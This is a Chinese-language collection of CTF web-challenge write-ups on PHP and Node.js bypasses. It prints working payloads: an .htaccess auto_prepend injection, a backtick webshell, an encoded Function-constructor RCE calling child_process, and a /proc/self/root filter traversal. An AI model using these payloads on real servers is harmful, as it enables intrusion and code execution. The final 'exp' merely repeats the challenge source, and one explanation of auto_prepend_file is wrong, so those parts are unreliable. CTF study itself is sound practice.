[羊城杯2020]easyphp
知識點
1.代碼審計。
2.preg_match函數和stristr函數的繞過
3..hatccess文件的寫入
解題過程
題目直接給出代碼:
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?>
剛剛打開看到題目時,就看到了file_put_contents函數,當時的想法是,寫一個是php文件,文件中上傳的是一句話木馬,然后連接蟻劍。但是仔細分析了題目,
發現下面的這段代碼的意思是只解析index.php文件,那么我的這個思路是行不通的了
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
后來看到wp是利用.htaccess來設置文件自動包含,什么是.htaccess?
.htaccess文件(或者"分布式配置文件"),全稱是Hypertext Access(超文本入口)。提供了針對目錄改變配置的方法, 即,在一個特定的文檔目錄中放置一個包含一個或多個指令的文件, 以作用於此目錄及其所有子目錄。作為用戶,所能使用的命令受到限制。
也就是說這里的思路是通過改變文件的一個配置,從而達到我們獲取flag的目的。
在題目中還有這兩個函數的限制
if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); }
這里因為我們要寫的文件名是.htaccess,而這個函數的意思是只能輸入小寫字母和. 那自然繞過了。
到了stristr函數,過濾了幾個我們playload需要的單詞,那么我們可以用換行符來繞過。
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); }
接下來就給出.htaccess的內容:
php_value auto_prepend_fil\ e .htaccess #<?php system('cat /fla'.'g');?>\
解釋一下:
php_value auto_prepend_file 是用來在頁面底部加載文件的,在這里就是相當於加載<?php system('cat /fla'.'g');?>
而#應該是.hatccess文件特有的寫入形式,沒有的話會直接報錯500,最后那個/是用來轉意換行符的
最后的playload:
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess

[紅明谷CTF 2021]write_shell
知識點
1.執行運算符
2.php短標簽
3.代碼審計
解題過程
<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
可以看到,action為pwd時,會打印當前的目錄路徑;action為upload時,會上傳數據到目錄路徑下的index.php中,並且會對上傳的數據進行檢查
在check函數中可以看到,輸入的數據不可以包含 ‘ ’,'_', 'php', 'eval', '{', '}' 沒過濾反引號,欸嘿,突破口找到了
先看看當前文件路徑

想要繞過check函數寫shell,過濾了空格‘ ’可以用 \t 代替,過濾了'php'可以用短標簽<?=?>代替,相當於<? echo>;
過濾了‘_’可以用<?=``?>代替,反引號在php中有執行命令的效果
利用通配符 '*' 來搜索文件
playload:
?action=upload&data=<?=`cat\t/*`?>

[極客大挑戰 2020]Roamphp1-Welcome
知識點:
1.處理打開靶機就是404的情況
2.sha1函數比較
解題過程
打開靶機的時候,直接就是404,一開始以為是我的網絡出來問題或者靶機出來問題,於是換了網絡和重新開了靶機,結果還是一樣,有查看了數據包,沒啥問題
后來看了wp,發現人家就是這樣的,這個應該也算是考題的一部分吧,先抓個包,將請求方式改為POST然后再放包就可以了。

然后就看到題目的代碼:

這就很簡單了,直接就用數組繞過shal比較就可以了,因為shal不接受數組,遇到是數組都會返回NULL,那么NULL == NULL 返回的自然是true。
然后就轉到了一個phpinfo文件,直接Ctrl+F找flag就可以了
[NPUCTF2020]驗證🐎 1
知識點
1.node.js代碼審計
2.js弱類型比較
3.hash繞過
4.構造函數執行任意代碼
解題過程

在首頁沒有什么發現的,在“你敢點這個試試”那里有源碼,這里截取比較重要的部分。
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
這里有個if要繞過:
first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])
先看一下node.js的比較

可以看到數組[1]==1在兩個等於號時候是返回true的,而在三個等於號時候會返回false。這一點是和php一樣的。
在JavaScript中各個數據類型的相加的結果, 可以看到對象和字符串相加最后得到的是字符串,而數組和字符串相加最后也是得到字符串,
所以可以基本得出結論就是,node中任何數據類型和字符串相加最后得到的都是字符串。

而長度length 屬性對於字符串是返回字符串長度,而數組是返回數組元素個數。而數字是沒有length 的。

根據上面介紹的node特性,可以得到這樣的playload:
{"e":playlod,"first":[0],"second":"0"}
在有一個知識點
function saferEval(str) { if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) { return null; }
這個正則表達式不太懂呀,看一下大佬的解釋:
把滿足正則表達式的部分全都刪掉后傳入的str為空才可以成功執行。
看一下這個正則,第一部分是類似Math.xxx或只有Math這樣的的,第二部分是可以包括這些字符:
[()+\-*/&|^%<>=,?:
第三部分是以一定數字開頭,然后跟0或者1個點,然后任意的數字,然后0或者一個類似e1111這樣的。感覺這是整數,浮點數和科學計數法。
先給出playload:
(Math=>( Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode( 114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41) )()))(Math+1)
用一個例子來解釋Math=>的意思:

同理a = x=>x*x 相當於命名了一個名字為a的函數:

那么(x=>x+x)(2)呢其實就相當於往這個函數里面傳入參數2:

我們再回到payload本身(Math=Math.constructor,Math.x=Math.constructor(......)) 可以清楚地看到最外層括號是一個逗號運算,而逗號運算我們知道是從左往右運算再最后返回最右邊的值。我們由此得知這里是執行這么個運算:
Math.constructor.constructor(.....)
而這又是什么呢,我們直接逐層測試的Math.constructor :

可以見到第一層返回的function object(),他是function的對象原型,而我們知道Object的構造器是指向Function的所以第二層會出現Function。而Function是構造函數他能夠創建函數。可以簡單理解他和eval類似。我們可以測試一個例子:
var sum = Math.constructor.constructor('a', 'b', 'return a + b'); sum(1,2); var fun = new Function('a', 'b', 'return a + b'); fun(1,2)

可以直接看到結果,Math.constructor.constructor() 和構造函數new Function() 是等效的。當然這個不知在Math中其他任意函數應該也是類似的。例如:alert()

最后得到的腳本:

參考:NPUCTF2020 驗證🐎-(弱類型比較、hash繞過、構造函數執行任意代碼) | Xiao Leung's Blog (plasf.cn)
[WMCTF2020]Make PHP Great Again
知識點:
1.require_once 繞過不能重復包含文件的限制
2.利用PHP_SESSION_UPLOAD_PROGRESS進行文件包含
解題過程
給出源碼,看起來挺短,但是設計的知識點還是挺復雜的:
<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { $a=($_GET['file']); require_once($a); }
在這里有個小知識點,/proc/self指向當前進程的/proc/pid/,/proc/self/root/是指向/的符號鏈接,想到這里,用偽協議配合多級符號鏈接的辦法進行繞過,payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
參考這篇文章,這個有點復雜,以為現在水平看不懂:https://www.anquanke.com/post/id/213235#h3-2
方法二:利用session.upload_progress進行文件包含
參考:https://blog.csdn.net/weixin_48537150/article/details/113189052
這個知識點還是不怎么吃的透
[極客大挑戰 2020]Greatphp
知識點:
解題過程
給出源碼:
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
解題思路:
進入到題目,看代碼發現是ctf基礎的題目,md5和sha1的比較,一般遇到這種情況都是用數組繞過就可以了,但是這里的比較是在類里面因此不能這樣繞過。
所以我們可以使用含有 __toString 方法的PHP內置類來繞過,用的兩個比較多的內置類就是 Exception 和 Error ,他們之中有一個 __toString 方法,當類被當
做字符串處理時,就會調用這個函數,用一個例子來說明他的作用:

由上圖可以看到$a和$b的值看似是一樣的,但是到了后面判斷他們是否相等時,他的結果是不相等的,原因是在Error()中的第二個參數“1“是指報錯代碼,
很明顯$a和$b的錯誤代碼不一樣,因此他們比較是不一樣的,但是錯誤代碼並沒有打印出來,但是他們的md5和sha1是相等的。值得注意的是要將$a和$b的參數
定義是要在同一行,因為報錯的打印出來的包括錯誤行數。

我們可以將題目代碼中的 $syc 和 $lover 分別聲明為類似上面的內置類的對象,讓這兩個對象本身不同(傳入的錯誤代碼即可), __toString 方法輸出的結果相同即可
由於題目用preg_match過濾了小括號無法調用函數,所以我們嘗試直接 include "/flag" 將flag包含進來即可;由於過濾了引號,我們直接用url取反繞過即可
exp:
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
結果:
